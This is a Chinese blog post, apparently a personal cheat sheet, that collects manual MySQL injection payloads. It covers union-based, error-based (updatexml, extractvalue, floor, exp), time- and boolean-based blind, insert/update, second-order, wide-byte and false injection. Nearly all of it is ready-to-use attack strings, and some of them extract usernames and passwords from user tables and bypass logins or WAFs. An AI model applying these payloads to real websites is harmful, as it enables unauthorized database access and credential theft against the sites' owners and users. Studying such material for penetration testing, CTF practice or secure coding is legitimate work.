MySQL注入

MySQL手工注入

前置知识

常量:
true, false, null, @myvar:=1

系统变量:
@@version, @@datadir

常用函数:
version(), pi(), pow(), char(), substring()

字符串生成:
hex(), conv()

有关于字符串生成的一些基础字符:
true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6

绕过:


联合注入

# 猜解字段数
?id=1' order by 4--+

# 查询数据库及版本
?id=0' union select 1,2,version(),database()--+

# 查询库名
?id=0' union select 1,2,3,group_concat(schema_name) from information_schema.schemata --+

# 查询表名
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='dvwa' --+

# 查询列名
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' --+

# 查询字段内容
?id=0' union select 1,2,3,group_concat(password) from users--+

报错注入

常用语句

# 爆库
?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +

# 爆表
?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +

# 爆字段
?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +

# 爆数据
?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

# concat 也可以放在外面
updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

# 注意:加了连接字符,导致数据中的 md5 只能爆出 31 位,可以用 substr() 分割函数分割出来
# substr(string string,num start,num length);
# string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +

可用函数

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
# updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
# exp() 报错的原理:exp 是一个数学函数,取e的x次方,当输入的值大于709就会报错, ~ 取反它的值总会大于709,所以报错

盲注

常用语句

# -----时间盲注
?id=1' and if(ascii(substr((select user()),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+


# -----布尔盲注
?id=1' and ascii(substr((select user()),1,1))>115 -- +
?id=1' and substr((select user()),1,1)='r' -- +

可用函数

# ------时间盲注
1.sleep()

?id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)--+

2.benchmark()
?id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)--+
# 大约可延时3秒

3.笛卡尔积
# 计算笛卡尔积也是通过大量运算模拟延时
?id=1' and if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)--+
# 大约可延时3秒

4.get_lock()
# 需要两个session,在第一个session中加锁
select get_lock('test',1)
# 然后再第二个session中执行查询
select get_lock('test',3)

5.rlike + rpad
# rpad(1,3,’a’)是指用a填充第一位的字符串以达到第二位的长度
?id=1' and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1);
# 大概延时2秒


# -----布尔盲注
1.IFNULL()
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
# 如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

2.strcmp()
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
# 若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

2.exp()
?id=1' and if ((substr((select user()),1,1)='r'),1,exp(710))--+
# 若if语句不成立则exp()函数报错,返回错误页面

insert,update

sqlmap等工具容易产生大量垃圾数据

基本语法

# INSERT INTO 表名称 VALUES (值1, 值2,....)
mysql> insert into users (user_id, first_name) values (6,'kk');

# UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
mysql> update users set first_name = 'hh' where user_id = 6;

# DELETE FROM 表名称 WHERE 列名称 = 值
mysql> delete from users where user_id = 6;

报错

# "or updatexml(1,concat(0x7e,(version())),0) or"
insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");

# 注意:or 右边一定要为false
delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);

盲注

#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");

#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");

mysql> update admin set id="5"+if((substr((select user()),1,1)='p'),sleep(5),1)+"" where id=2;

二次注入

二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等
mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
eg.数据库可能会因为恶意账户名的问题,将 admin'--+ 误认为 admin 账户

宽字节注入

针对目标做了一定的防护,单引号转变为 ' , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入

id=-1%df' union select...

# 没使用宽字节
%27 -> %5C%27

# 使用宽字节
%df%27 -> %df%5c%27 -> 運'

False Injection

True
1=1
0<1
''=''

隐式类型转换

字符串和数字比较,需要将字符串转为浮点数,如果字符串开头是数字的时候还是会从数字部分截断,转换为数字,否则转换为 0

mysql> select 4='4bc';
+---------+
| 4='4bc' |
+---------+
|       1 |
+---------+
1 row in set, 1 warning (0.00 sec)

mysql> select 4='45c';
+---------+
| 4='45c' |
+---------+
|       0 |
+---------+
1 row in set, 1 warning (0.00 sec)

mysql> select 4='abc';
+---------+
| 4='abc' |
+---------+
|       0 |
+---------+
1 row in set, 1 warning (0.00 sec)

注入利用

可绕过登录或绕过waf

# 源码
select first_name from users where user ='+input+';

'''
mysql> select user,first_name from users;
+---------+------------+
| user    | first_name |
+---------+------------+
| admin   | admin      |
| gordonb | Gordon     |
| 1337    | Hack       |
| pablo   | Pablo      |
| smithy  | Bob        |
+---------+------------+
5 rows in set (0.00 sec)
'''

# 算数运算
?user='+'
?user='-'
?user='*'
?user='/6#'
?user='%1#'

'''
mysql> select ''+'';
+-------+
| ''+'' |
+-------+
|     0 |
+-------+
1 row in set (0.00 sec)

mysql> select ''='';
+-------+
| ''='' |
+-------+
|     1 |
+-------+
1 row in set (0.00 sec)

mysql> select first_name from users where user =''+'';
+------------+
| first_name |
+------------+
| admin      |
| Gordon     |
| Pablo      |
| Bob        |
+------------+
4 rows in set, 4 warnings (0.00 sec)
'''

# 位操作运算
?user='&0#'
?user='|0#
?user='^0#
?user='<<0#
?user='>>0#

# 比较运算
?user='=0<=>1#
?user='=0<=>1#
?user='>-1#

'+1 is not null# 'in(-1,1)# 'not in(1,0)# 'like 1# 'REGEXP 1# 'BETWEEN 1 AND 1# 'div 1# 'xor 1# '=round(0,1)='1 '<>ifnull(1,2)='1

posted @ 2021-05-03 21:53  Shivers0x72  阅读(74)  评论(0编辑  收藏  举报